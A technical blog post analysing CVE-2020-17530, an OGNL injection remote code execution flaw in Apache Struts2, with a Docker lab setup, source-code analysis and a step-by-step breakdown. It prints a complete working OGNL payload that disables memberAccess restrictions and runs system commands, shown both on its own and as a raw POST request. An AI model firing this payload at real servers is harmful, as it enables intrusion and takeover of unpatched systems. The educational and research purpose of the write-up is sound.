Summary
Within this blog post, we perform a thorough technical analysis of CVE-2020-17530, a critical Remote Code Execution vulnerability that resides in Apache Struts2 versions 2.0.0 to 2.5.25.
We begin by setting up a vulnerable Struts2 environment using Docker, and proceed with the unsafe use of OGNL expression in tag attributes through detailed PoC demonstrations.
Beyond exploitation in itself, we perform static code analysis of the Struts2 source code to identify the very root cause of the vulnerability — specifically, the AbstractUITag class and the insecure processing of dynamic attributes.
Finally, we illustrate the construction of a complex OGNL injection chain that bypasses security checks and succeeds at command execution on the target environment.
If you're interested to witness real-world OGNL injections turn a minor misconfiguration into full-blown RCE attacks, this technical guide is what you're searching for.
CVE Exploit:
https://github.com/fatkz/CVE-2020-17530
What is Apache Struts?
Apache Struts is an open-source Java EE-based web application framework. Its main objective is to make developers' work easier by organizing web-based applications in terms of the MVC (Model-View-Controller) pattern.
Apache Struts Basic Components:
-
Request - User sends a request to a URL such as /login.action.
-
Dispatch - FilterDispatcher (Struts 2) receives the request, finds the corresponding Action class from configuration.
-
Interceptors - Executes cross-sectional operations such as authentication, data conversion, validation, etc.
-
Action - Executes business logic, returns result string (success, error, etc.).
-
Result - View (JSP, JSON, PDF.) of this string in configuration is produced and sent back to the user.
Setting up the Vulnerable Environment
Before testing our vulnerability, we will set up a sample setup of the Struts framework. This will give a clear idea of the vulnerability. We will install our vulnerable system on docker. You can install on linux using the following bash code lines.
$ docker pull vulhub/struts2:2.5.25
$ docker run -d -p 8080:8080 vulhub/struts2:2.5.25
After installation, a web server will stand up on the port http://localhost:8080
and start receiving data from us with id
.
We have made our server installations, now let's download the source code to see and better understand which vulnerable code fragment the vulnerability occurs with.
git clone https://github.com/vulhub/vulhub.git
cd vulhub/base/struts2/2.5.25
After downloading the vulnerable system, download the Struts 2.5.25 source code.
wget https://github.com/apache/struts/archive/refs/tags/STRUTS_2_5_25.zip
unzip STRUTS_2_5_25.zip
cd STRUTS_2_5_25.zip
After downloading the source code, all installations are complete, now we can move on to the POC steps.
PoC (Proof of Concept) and Exploit
CVE-2020-17530 is a Remote Code Execution (RCE) critical vulnerability in Apache Struts2 version 2.0.0 to version 2.5.25. The flaw results from the erroneous evaluation of user-supplied input in the OGNL expression processing when the %{}
syntax is improperly sanitized in tag attributes.
The flaw arises when developers improperly configure Struts2 with forced OGNL execution in tag attributes with poor input validation. Specifically, if a specially formed request contains unexpected expressions which are evaluated on the server side, this can result in full system compromise.
Let's start analyzing the system we have installed and start with the index.jsp
file in vulhub/base/struts2/2.5.25/src/main/webapp
.
<%@ page
language="java"
contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>S2-059 demo</title>
</head>
<body>
<s:a id="%{id}">your input id: ${id}
<br>has ben evaluated again in id attribute
</s:a>
</body>
</html>
We can see that the index.jsp file takes the value with the id attribute and processes it with the %{}
processing apparatus. Apache Struts2 also completes the OGNL (Object-Graph Navigation Language) operations that allow reading, writing and evaluate operations on Java objects.
Now, in order to check the operator, let us send it to the id value using the operation operator like http://localhost:8080/?id=%25{2*4}
. Now you can view that the id value in source code states 8. The operations which happen here are accomplished by nested operators with assigning them.
The operations work as seen in the above rheism, in nested operations, the internal operation is completed first. In the %{2*4}
operation that we assign to the id value, the value 8 is found first, then it is assigned to the id value and the reading operation is performed.
Now we will run our payload on our vulnerable system where I can run code on the system.
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
Uploading such a large payload with the GET method can often be a problem. For this reason, a POST method payload is sent to http://localhost:8081/index.action
in our vulnerable system. You can see the HTTP raw data below.
POST /index.action HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 829
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary7MA4YWxkTrZu0gW--
If the payload is sent, the payload will now run in the system as below and we can see the whoami command output in the id value in the <a> tag.
Static Code Analysis
To find out where in Struts 2.5.25 source code we acquired this vulnerability, we have to start in the right place. In such cases, it is most important that we understand the process under which the issue under discussion arises. In CVE-2020-17530 vulnerability, the process gets invoked through the user interface (UI) and user-provided payload is executed as code by the system and gets executed. For example, JSP expressions such as id="%userInput"
are called dynamic attributes. Dynamic attributes in Apache Struts are handled by the AbstractUITag class. Therefore, when starting to analyze this vulnerability, we have to start right from core/src/main/java/org/apache/struts2/views/jsp/ui/AbstractUITag.java
.
If we analyze your AbstractUITag.java
file, we see a variable class named setDynamicAttribute.
public void setDynamicAttribute(String uri, String localName, Object value) throws JspException {
if (ComponentUtils.altSyntax(getStack()) && ComponentUtils.isExpression(value.toString())) {
dynamicAttributes.put(localName, String.valueOf(ObjectUtils.defaultIfNull(findValue(value.toString()), value)));
} else {
dynamicAttributes.put(localName, value);
}
}
So what exactly this code does respectively:
Steps | Description |
---|---|
1 | Checking |
2 | Checking |
3 | If both checks are true: The value sent by the user is passed directly to the |
4 |
|
5 | If there is no |
Our main problem occurs in step 4. it is executed directly without any filtering or security precautions. In this way, the user can build OGNL chains in the payload: bypass memberAccess, call Runtime.getRuntime().exec()
.
OGNL Injection
Now that we've seen where our problem originated and how it was handled, let's discuss our payload and complete the chain by building the OGNL chain.
OGNL (Object-Graph Navigation Language) expressions enable dynamic access and modification of Java objects. If user input isn't managed correctly, an attacker is able to inject evil OGNL expressions, which can lead to Remote Code Execution (RCE).
OGNL Payload Analysis
Payload:
%{(
#instancemanager = #application["org.apache.tomcat.InstanceManager"]
).(
#stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]
).(
#bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap")
).(
#bean.setBean(#stack)
).(
#context = #bean.get("context")
).(
#bean.setBean(#context)
).(
#macc = #bean.get("memberAccess")
).(
#bean.setBean(#macc)
).(
#emptyset = #instancemanager.newInstance("java.util.HashSet")
).(
#bean.put("excludedClasses", #emptyset)
).(
#bean.put("excludedPackageNames", #emptyset)
).(
#arglist = #instancemanager.newInstance("java.util.ArrayList")
).(
#arglist.add("whoami")
).(
#execute = #instancemanager.newInstance("freemarker.template.utility.Execute")
).(
#execute.exec(#arglist)
)}
Step-by-Step Analysis
1. Accessing InstanceManager:
#instancemanager = #application["org.apache.tomcat.InstanceManager"]
-
You retrieve Tomcat's
InstanceManager
object. -
Using
newInstance()
, you can instantiate any Java class dynamically.
2. Accessing the ValueStack:
#stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]
- You access the OGNL ValueStack, which stores the current application, request, and session objects.
3. Creating a BeanMap Object:
#bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap")
BeanMap
allows treating Java objects as key-value pairs by exposing their properties.
4. Binding Stack to BeanMap:
#bean.setBean(#stack)
-
You bind the
ValueStack
into theBeanMap
. -
This allows you to access internal stack properties like a dictionary.
5. Switching to Context Object:
#context = #bean.get("context")
#bean.setBean(#context)
-
From the stack, you retrieve the
context
object. -
The
context
contains security settings (memberAccess
) and other runtime properties.
6. Accessing MemberAccess:
#macc = #bean.get("memberAccess")
#bean.setBean(#macc)
-
memberAccess
controls what classes and methods OGNL expressions can access. -
Normally, dangerous classes like
java.lang.Runtime
are restricted. -
You now have direct control over this security layer.
7. Bypassing OGNL Security Restrictions:
#emptyset = #instancemanager.newInstance("java.util.HashSet")
#bean.put("excludedClasses", #emptyset)
#bean.put("excludedPackageNames", #emptyset)
-
You empty out the
excludedClasses
andexcludedPackageNames
lists. -
This removes OGNL’s restrictions and allows access to any Java class.
8. Preparing the Command:
#arglist = #instancemanager.newInstance("java.util.ArrayList")
#arglist.add("whoami")
- You create an
ArrayList
to hold the command you want to execute (whoami
).
9. Executing the Command:
#execute = #instancemanager.newInstance("freemarker.template.utility.Execute")
#execute.exec(#arglist)
-
Using FreeMarker’s
Execute
utility class, you execute the system command. -
The command output is processed by the server.
This payload does:
Step | Purpose |
---|---|
InstanceManager access | Dynamically instantiate arbitrary classes |
Access ValueStack | Access context and internal variables |
Use BeanMap | Access properties like |
Bypass security | Clear |
Prepare command | Build a command list (e.g., |
Execute command | Use |
Why Use freemarker.template.utility.Execute
?
-
FreeMarker is a common template engine that includes the
Execute
helper class. -
If FreeMarker is present, it allows easy system command execution.
-
It saves you from directly using
Runtime.getRuntime().exec()
, which might be blacklisted.
References:
Apache Struts 2 Security Advisories
https://struts.apache.org/security.html
(Official Struts security advisories including CVE-2020-17530.)
CVE-2020-17530 – Apache Security Bulletin
https://lists.apache.org/thread/x6vh1ph4q0wt2kz7p4b6yz8pbyb7n79w
(Initial public discussion and fix description for CVE-2020-17530.)
CVE-2020-17530 – MITRE CVE Record
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530
(Formal CVE registration and description.)
Apache Struts 2.5.25 Source Code (GitHub Mirror)
https://github.com/apache/struts
(The vulnerable version’s source code used for analysis.)
Apache Struts OGNL Evaluation Mechanics
https://struts.apache.org/core-developers/ognl.html
(Official documentation explaining how Struts evaluates OGNL expressions.)
FreeMarker Template Language (FTL) Documentation
https://freemarker.apache.org/docs/dgui_template_exp.html
(Documentation for FreeMarker templates, including how variable interpolation works.)
Apache Struts Dynamic Attributes Handling (Tag Developers Guide)
https://struts.apache.org/core-developers/tag-developers.html
(Official guide explaining how dynamic attributes and OGNL evaluation are handled in custom tags.)